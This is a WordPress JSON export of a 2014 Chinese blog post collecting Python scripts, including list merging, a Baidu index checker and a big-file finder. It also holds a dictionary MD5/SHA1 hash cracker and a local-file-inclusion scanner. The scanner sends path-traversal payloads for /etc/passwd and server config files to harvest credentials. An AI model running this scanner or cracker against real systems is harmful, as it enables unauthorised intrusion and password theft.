{"id":260,"date":"2014-06-29T11:44:45","date_gmt":"2014-06-29T11:44:45","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=260"},"modified":"2014-06-29T11:44:45","modified_gmt":"2014-06-29T11:44:45","slug":"%e8%bd%ac%e6%8a%93%e5%8f%96freebuf%e5%b7%a5%e5%85%b7%e5%88%97%e8%a1%a8%e7%9a%84python%e8%84%9a%e6%9c%ac","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/260.html","title":{"rendered":"\u4e00\u4e9b\u5b9e\u7528\u7684Python\u811a\u672c[bak]"},"content":{"rendered":"<h6>1.\u6709\u5e8f\u5217\u8868\u7684\u5408\u5e76<\/h6>\n<pre class=\"lang:default decode:true\">#!\/usr\/bin\/env python\n# coding=utf-8\n'''\n\u5047\u8bbe\u67092\u4e2a\u6709\u5e8f\u5217\u8868list_1\u3001list_2\uff0c\u5982\u4f55\u6548\u7387\u6bd4\u8f83\u9ad8\u7684\u5c062\u4e2alist\u5408\u5e76\u5e76\u4fdd\u6301\u6709\u5e8f\u72b6\u6001(\u8fd9\u91cc\u9ed8\u8ba4\u6392\u5e8f\u662f\u6b63\u5e8f)\uff1f\n\u601d\u8def\u662f\u6bd4\u8f83\u7b80\u5355\u7684\uff0c\u65e0\u975e\u662f\u4f9d\u6b21\u6bd4\u8f83list_1\u548clist_2\u5934\u90e8\u7b2c\u4e00\u4e2a\u5143\u7d20\uff0c\u5c06\u6bd4\u8f83\u5c0f\u7684\u653e\u5728\u4e00\u4e2a\u65b0\u7684\u5217\u8868\u4e2d\uff0c\u4ee5\u6b64\u7c7b\u63a8(\u9012\u5f52)\uff0c\u76f4\u5230\u6240\u6709\u7684\u5143\u7d20\u90fd\u88ab\u653e\u5230\u65b0\u7684\u5217\u8868\u4e2d\u3002\n\u5bf9\u4e8ePython\u800c\u8a00\uff0c\u5373\u4f7f\u662f\u5c3e\u9012\u5f52\uff0c\u6548\u7387\u4e5f\u4e0d\u662f\u90a3\u4e48\u9ad8\uff0c\u4e3a\u4e86\u907f\u514d\u7206\u6808\uff0c\u901a\u5e38\u8fd8\u662f\u4f1a\u7528\u5faa\u73af\u7684\u65b9\u6cd5(loop_merge_sort)\u6765\u505a\n'''\ndef recursion_merge_sort1(list_1, list_2):\n    tmp = []\n    if len(list_1) == 0:\n        tmp.extend(list_2)\n        return tmp\n    elif len(list_2) == 0:\n        tmp.extend(list_1)\n        return tmp\n    else:\n        if list_1[0] &lt; list_2[0]:\n            tmp.append(list_1[0])\n            del list_1[0]\n        else:\n            tmp.append(list_2[0])\n            del list_2[0]\n        tmp += recursion_merge_sort1(list_1, list_2)\n    return tmp\n\ndef recursion_merge_sort2(list_1, list_2, tmp=[]):\n    if len(list_1) == 0 or len(list_2) == 0:\n        tmp.extend(list_1)\n        tmp.extend(list_2)\n        return tmp\n    else:\n        if list_1[0] &lt; list_2[0]:\n            tmp.append(list_1[0])\n            del list_1[0]\n        else:\n            tmp.append(list_2[0])\n            del list_2[0]\n        return recursion_merge_sort2(list_1, list_2, tmp)\n\ndef loop_merge_sort(list_1, list_2):\n    tmp = []\n    while len(list_1) &gt; 0 and len(list_2) &gt; 0:\n        if list_1[0] &lt; list_2[0]:\n            tmp.append(list_1[0])\n            del list_1[0]\n        else:\n            tmp.append(list_2[0])\n            del list_2[0]\n    tmp.extend(list_1)\n    tmp.extend(list_2)\n    return tmp<\/pre>\n<h6>2.\u67e5\u8be2Baidu\u662f\u5426\u6536\u5f55\u4e86\u67d0\u4e2aURL<\/h6>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n#coding=utf-8\n\nimport requests\nfrom bs4 import BeautifulSoup as bs\nimport re\n\nheaders = {\n    'User-Agent': 'Mozilla\/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+Trident\/4.0;+GTB7.1;+.NET+CLR+2.0.50727)'\n}  # \u8bbe\u7f6eUA\u6a21\u62df\u7528\u6237\uff0c\u8fd8\u53ef\u8bbe\u7f6e\u591a\u4e2aUA\u63d0\u9ad8\u641c\u7d22\u6210\u529f\u7387\n\ndef baidu_url(word): # \u6784\u5efa\u767e\u5ea6\u641c\u7d22URL\uff1b\u56e0\u4e3a\u662f\u67e5\u6536\u5f55\uff0c\u6240\u4ee5\u53ea\u663e\u793a\u4e86\u524d10\u4e2a\u641c\u7d22\u7ed3\u679c\uff0c\u8fd8\u53ef\u4ee5\u901a\u8fc7rn\u53c2\u6570\u6765\u8c03\u6574\u641c\u7d22\u7ed3\u679c\u7684\u6570\u91cf\n    '''\n    get baidu search url\n    '''\n    return 'http:\/\/www.baidu.com\/s?wd=%s' % word\n\ndef baidu_cont(url):  # \u83b7\u53d6\u767e\u5ea6\u641c\u7d22\u7ed3\u679c\u9875\u5185\u5bb9\n    r = requests.get(url, headers=headers)\n    return r.content\n\ndef serp_links(word):  #\u83b7\u53d6\u767e\u5ea6\u641c\u7d22\u7ed3\u679c\u7684\u6700\u7ec8URL\n    '''\n    get baidu serp links with the word\t[serp - \u641c\u7d22\u5f15\u64ce\u7ed3\u679c\u9875\u9762(Search Engine Results Page)]\n    '''\n    b_url = baidu_url(word)\n    soup = bs(baidu_cont(b_url))\n    b_tags = soup.find_all('h3', {'class': 't'})  # \u83b7\u53d6URL\u7684\u7279\u5f81\u503c\u662f\u901a\u8fc7class=\"t\"\n    b_links = [tag.a['href'] for tag in b_tags]\n    real_links = []\n    for link in b_links:  # \u4f7f\u7528requests\u5e93\u83b7\u53d6\u4e86\u6700\u7ec8URL\uff0c\u800c\u4e0d\u662f\u5feb\u7167URL\n        try:\n            r = requests.get(link, headers=headers, timeout=120)\n        except Exception as e:\n            real_links.append('page404')\n        else:\n            real_links.append(r.url)\n    return real_links\n\ndef indexer(url):  # \u5f85\u67e5URL\u662f\u5426\u5728\u767e\u5ea6\u641c\u7d22\u7ed3\u679c\u7684URL\u5217\u8868\u4e2d\uff0c\u5982\u679c\u5728\u5c31\u8868\u793a\u6536\u5f55\uff0c\u53cd\u4e4b\u672a\u6536\u5f55\n    indexed_links = serp_links(url)\n    if url in indexed_links:\n        return True\n    else:\n        return False<\/pre>\n<h6>3.\u672c\u5730\u66b4\u529b\u7834\u89e3MD5\/SHA1<\/h6>\n<pre class=\"lang:default decode:true\">#!\/usr\/bin\/env python\n# -*- coding: utf-8 -*-\n# Filename: py_crackhash.py \u7a77\u4e3e\u5b57\u5178\u7834\u89e3md5\/sha1\n\nimport sys, getopt, hashlib\n\nif len(sys.argv) == 1:\n    print 'Usage: py_crackhash.py -t hashtype{md5\/sha1} -h hashcode -w wordfile'\n    sys.exit()\n\nopts, args = getopt.getopt(sys.argv[1:], \"t:h:w:\")\nhashtype = \"\"\nhashcode = \"\"\nwordfile = \"\"\n\nfor op, value in opts:\n    if op == \"-t\":\n        hashtype = value\n    elif op == \"-h\":\n        hashcode = value\n    elif op == \"-w\":\n        wordfile = value\n    else:\n        sys.exit()\n\nw = file(wordfile, 'r')\n\nif hashtype == \"md5\":\n    while True:\n        line = w.readline()\n        if line:\n            y = hashlib.md5(line.rstrip()).hexdigest()\n            if hashcode == y:\n                print \"md5(%s)=%s\" % (line.rstrip(), y)\n                break\n        else:\n            print 'NULL'\n            break\n\nif hashtype == \"sha1\":\n    while True:\n        line = w.readline()\n        if line:\n            y = hashlib.sha1(line.rstrip()).hexdigest()\n            if hashcode == y:\n                print \"sha1(%s)=%s\" % (line.rstrip(), y)\n                break\n        else:\n            print 'NULL'\n            break\n\nw.close()<\/pre>\n<h6>4.\u591a\u7ebf\u7a0b\u67e5\u627e\u6307\u5b9a\u76ee\u5f55\u4e0b\u7684\u6700\u5927\u768410\u4e2a\u6587\u4ef6<\/h6>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n# coding=utf-8\nimport os, os.path\nfrom ConfigParser import RawConfigParser as rcp\nfrom threading import Thread, Lock\nimport sys\nimport time\nMaxCount=10\n\ndef insert(tenmax, filename, filesize):\n    i=0\n    while i&lt;len(tenmax) and tenmax[i][1]&gt;filesize:\n        i += 1\n    tenmax.insert(i, [filename, filesize])\n\ndef keepTenMax(tenmax, filename, filesize):\n    i=len(tenmax)\n    if i&lt;MaxCount:\n        insert(tenmax, filename, filesize)\n    else:\n        if filesize&gt;tenmax[i-1][1]:\n            insert(tenmax, filename, filesize)\n            tenmax.pop()\n        elif filesize==tenmax[i-1][1]:\n            tenmax.append([filename, filesize])\n            if len(tenmax)&gt;MaxCount:\n                tenmax=tenmax[:MaxCount]\n        else:\n            return\n\nclass MyThread(Thread):#\u591a\u7ebf\u7a0b\u641c\u7d22\n    def __init__(self, root, files, tname):\n        Thread.__init__(self)\n        self.root=root\n        self.files=files\n        self.name=tname\n        self.tenmax=[]\n    def run(self):\n        global count\n        for f in self.files:\n            filename=self.root+os.sep+f\n            filesize=os.stat(filename).st_size\n            mylock.acquire() #\u83b7\u5f97\u9501\n            count += 1\n            mylock.release() #\u91ca\u653e\u9501\n            keepTenMax(self.tenmax, filename, filesize)\n\ndef allDone(threadlist):\n    for i in threadlist:\n        if i.isAlive():\n            return False\n    return True\n\n#main\nif __name__==\"__main__\":\n    global count #\u5168\u5c40\u6587\u4ef6\u8ba1\u6570\n    mylock=Lock() #define a lock\n    count=1\n    tenmax=[]\n    threadlist=[]\n    if len(sys.argv)==1:\n        wdir='.'\n    elif len(sys.argv)==2:\n        wdir=sys.argv[1]\n    else:\n        print 'Usage: findBigFiles.py [wdir]'\n        sys.exit()\n    tname=1\n    begin=time.time()\n    for root, dirs, files in os.walk(wdir):\n        if files:\n            sthread=MyThread(root, files, tname)#\u5bf9\u6bcf\u4e00\u4e2a\u76ee\u5f55\u5f00\u542f\u4e00\u4e2a\u7ebf\u7a0b\u641c\u7d22\n            threadlist.append(sthread)\n            sthread.start()\n            print 'thread-'+str(tname)+'-start search dir:'+root\n            tname += 1\n    for t in threadlist:\n        t.join()\n    if allDone(threadlist):#\u7edf\u8ba1\u7ed3\u679c\n        for i in threadlist:\n            tenmax.extend(i.tenmax)\n    if len(tenmax)&lt;MaxCount:\n        tenmax=tenmax[:len(tenmax)]\n    else:\n        a=[]\n        for f in tenmax:\n            keepTenMax(a, f[0], f[1])\n        tenmax=a\n    #\u6253\u5370\u5e76\u8f93\u51fa\u5230parser\u6587\u4ef6-\u5f53\u524d\u76ee\u5f55\u4e0b\u7684result.ini\u6587\u4ef6\n    print\n    print '[=========================threads count', len(threadlist), '====================]'\n    print '[=========================try', count, 'files=======================]'\n    print '[=========================the ', MaxCount, ' thMax files list===========]'\n    print\n    c=1\n    myrcp=rcp()\n    myrcp.add_section('Result')\n    for fname, fsize in tenmax:\n        size='%.3fMB' % (fsize\/1024.0\/1024.0)\n        print '[%d]%s-%s' % (c, fname, size)\n        myrcp.set('Result', '[%d]%s' % (c, fname), size)\n        c += 1\n    myrcp.write(open('result.txt', 'w'))\n    end=time.time()\n    usetime=end-begin\n    print\n    print '[=============================================================]'\n    print 'all time:%.3fs' % usetime<\/pre>\n<h6>5.\u63a2\u6d4b\u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e<\/h6>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n#-*-coding:utf-8-*-\n\nimport urllib2\nimport sys\nvar1=0\nvar2=0\nprint (\"-----------------------------------------------------\")\nprint (\"|           usage:py_detect_LFI.py site url         |\")\nprint (\"|this url like http:\/\/www.google.com\/index.php?id=  |\")\nprint (\"       writed by eip_0x[Freebuf],just 4 fun         |\")\nprint (\"-----------------------------------------------------\")\n\nsite0=sys.argv[1]+'\/kfdsjkf7675637d.txt'\t#\u8bbf\u95ee\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u6587\u4ef6\u83b7\u53d6\u8fd4\u56de\u9519\u8bef\u9875\u9762\u7684length\u4fe1\u606f\nreq0=urllib2.Request(site0)\nconn0=urllib2.urlopen(req0)\n\nwhile 1:\n    data0=conn0.read(4072)\t#\u9519\u8bef\u9875\u9762\u7684\u5185\u5bb9\n    if not len(data0):\n        break\n\npaths1=['\/etc\/passwd','..\/etc\/passwd','..\/..\/etc\/passwd','..\/..\/..\/etc\/passwd','..\/..\/..\/..\/etc\/passwd','..\/..\/..\/..\/..\/etc\/passwd','..\/..\/..\/..\/..\/..\/etc\/passwd','..\/..\/..\/..\/..\/..\/..\/etc\/passwd','..\/..\/..\/..\/..\/..\/..\/etc\/passwd','..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd','..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd','..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd']\npaths2=['\/usr\/local\/app\/apache2\/conf\/httpd.conf','\/usr\/local\/apache2\/conf\/httpd.conf','\/usr\/local\/app\/apache2\/conf\/extra\/httpd-vhosts.conf','\/usr\/local\/app\/php5\/lib\/php.ini','\/etc\/sysconfig\/iptables','\/etc\/httpd\/conf\/httpd.conf','\/etc\/my.cnf','\/etc\/issue','\/etc\/redhat-release','\/usr\/local\/apche\/conf\/httpd.conf','\/etc\/httpd\/conf\/httpd.conf']\n\nfor path in paths1:\t#\u9996\u5148\u67e5\u627e'\/etc\/passwd'\u6587\u4ef6\u662f\u5426\u5b58\u5728\n\tsite=sys.argv[1]+path\n\treq=urllib2.Request(site)\n\tconn=urllib2.urlopen(req)\n\twhile 1:\n\t\tdata=conn.read(4072)\n\t\tif not len(data0):\n\t\t\tbreak\n\n\t\tif len(data)!=len(data0):\n\t\t\tprint path,\" this file has been found!!!!u r lucky and have fun!!!!\"\n\n\t\tfor path2 in paths2:\t#\u5728\u67e5\u627e\u5230\u4e86'\/etc\/passwd'\u6587\u4ef6\u4e4b\u540e\u518d\u67e5\u627e\u914d\u7f6e\u6587\u4ef6\uff0c\u5e0c\u671b\u80fd\u4ece\u4e2d\u8bfb\u53d6\u51fa\u7528\u6237\u540d\u5bc6\u7801\u7684\u660e\u6587\u4fe1\u606f\n\t\t\tpath2ok=path.replace(\"\/etc\/passwd\",path2)\t#replace(\"\u67e5\u627e\u7684\u5185\u5bb9\"\uff0c\"\u66ff\u6362\u540e\u7684\u5185\u5bb9\"[\uff0c\u6b21\u6570])\uff0c\u66ff\u6362\u6b21\u6570\u53ef\u4ee5\u4e3a\u7a7a\uff0c\u5373\u8868\u793a\u66ff\u6362\u6240\u6709\n\t\t\tsite2=sys.argv[1]+path2ok\n\t\t\treq2=urllib2.Request(site2)\n\t\t\tconn2=urllib2.urlopen(req2)\n\t\t\twhile 1:\n\t\t\t\tdata2=conn2.read(4072)\n\t\t\t\tif not len(data2):\n\t\t\t\t\tbreak\n\t\t\t\tif len(data2)!=len(data0):\n\t\t\t\t\tprint path2,\"this file has been found!!\"<\/pre>\n<h6>6.\u5f85\u7eed\u2026\u2026<\/h6>\n<p>==<\/p>\n<p>\u8fd9\u91cc\u7684\u5f88\u591a\u4ee3\u7801\u90fd\u662f\u5728\u7f51\u4e0a\u901bblog\u7684\u65f6\u5019\u6536\u96c6\u800c\u6765\uff0c\u5728\u6b64\u611f\u8c22\u4f5c\u8005\u7684\u65e0\u79c1\u5206\u4eab\uff08\u6709\u4e9b\u4ee3\u7801\u5df2\u7ecf\u5fd8\u4e86\u51fa\u5904\u4e86\uff0c\u627e\u5230\u4e86\u4e4b\u540e\u4f1a\u5c3d\u5feb\u8865\u4e0a\uff09\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1.\u6709\u5e8f\u5217\u8868\u7684\u5408\u5e76 #!\/usr\/bin\/env python # coding=utf-8 &#8221;&#8217; \u5047\u8bbe\u67092 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,12],"tags":[8,124,125],"class_list":["post-260","post","type-post","status-publish","format-standard","hentry","category-programing","category-tools","tag-python","tag-thread","tag-urllib"],"views":3286,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/260","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=260"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/260\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=260"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=260"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=260"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}